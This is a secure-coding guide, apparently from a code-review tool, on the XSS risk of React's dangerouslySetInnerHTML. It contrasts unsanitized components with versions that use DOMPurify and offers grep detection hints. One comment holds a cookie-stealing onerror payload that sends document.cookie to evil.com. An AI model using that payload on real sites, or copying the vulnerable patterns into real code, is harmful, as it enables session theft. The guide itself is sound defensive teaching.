dangerouslySetInnerHTML bypasses React's XSS protection. Always sanitize HTML from external sources with DOMPurify before rendering. [CWE-79 · A03:2021]
prevents cross-site scripting (XSS) attacks
BeforeMerge scans your pull requests against this rule and 5+ others. Get actionable feedback before code ships.
Impact: CRITICAL (prevents cross-site scripting attacks)
React escapes content by default, but dangerouslySetInnerHTML bypasses this protection entirely. If the HTML comes from user input, a database, a CMS, or any external source, it must be sanitized before rendering. Unsanitized HTML enables attackers to inject scripts that steal cookies, session tokens, or perform actions as the user.
Incorrect (rendering unsanitized external HTML):
// ❌ CMS content rendered without sanitization
export function BlogPost({ content }: { content: string }) {
return <div dangerouslySetInnerHTML={{ __html: content }} />
}
// ❌ User-generated content rendered raw
export function Comment({ body }: { body: string }) {
return <div dangerouslySetInnerHTML={{ __html: body }} />
// If body = '<img src=x onerror="document.location=`https://evil.com?c=${document.cookie}`">'
// ...the attacker now has the user's cookies
}
// ❌ Markdown-to-HTML without sanitization
import { marked } from 'marked'
export function MarkdownPreview({ markdown }: { markdown: string }) {
const html = marked(markdown)
return <div dangerouslySetInnerHTML={{ __html: html }} />
}Correct (sanitize before rendering):
// ✅ Sanitize with DOMPurify (most popular, well-maintained)
import DOMPurify from 'isomorphic-dompurify'
export function BlogPost({ content }: { content: string }) {
const clean = DOMPurify.sanitize(content)
return <div dangerouslySetInnerHTML={{ __html: clean }} />
}
// ✅ Sanitize markdown output
import { marked } from 'marked'
import DOMPurify from 'isomorphic-dompurify'
export function MarkdownPreview({ markdown }: { markdown: string }) {
const rawHtml = marked(markdown)
const clean = DOMPurify.sanitize(rawHtml)
return <div dangerouslySetInnerHTML={{ __html: clean }} />
}
// ✅ Best: use a React markdown renderer that doesn't use dangerouslySetInnerHTML
import ReactMarkdown from 'react-markdown'
export function MarkdownPreview({ markdown }: { markdown: string }) {
return <ReactMarkdown>{markdown}</ReactMarkdown>
}Detection hints:
# Find all uses of dangerouslySetInnerHTML
grep -rn "dangerouslySetInnerHTML" src/ --include="*.tsx" --include="*.jsx"
# Check if DOMPurify or sanitize is imported nearby
grep -rn "dangerouslySetInnerHTML" src/ --include="*.tsx" -l | \
xargs grep -L "DOMPurify\|sanitize\|purify"Reference: OWASP XSS Prevention · DOMPurify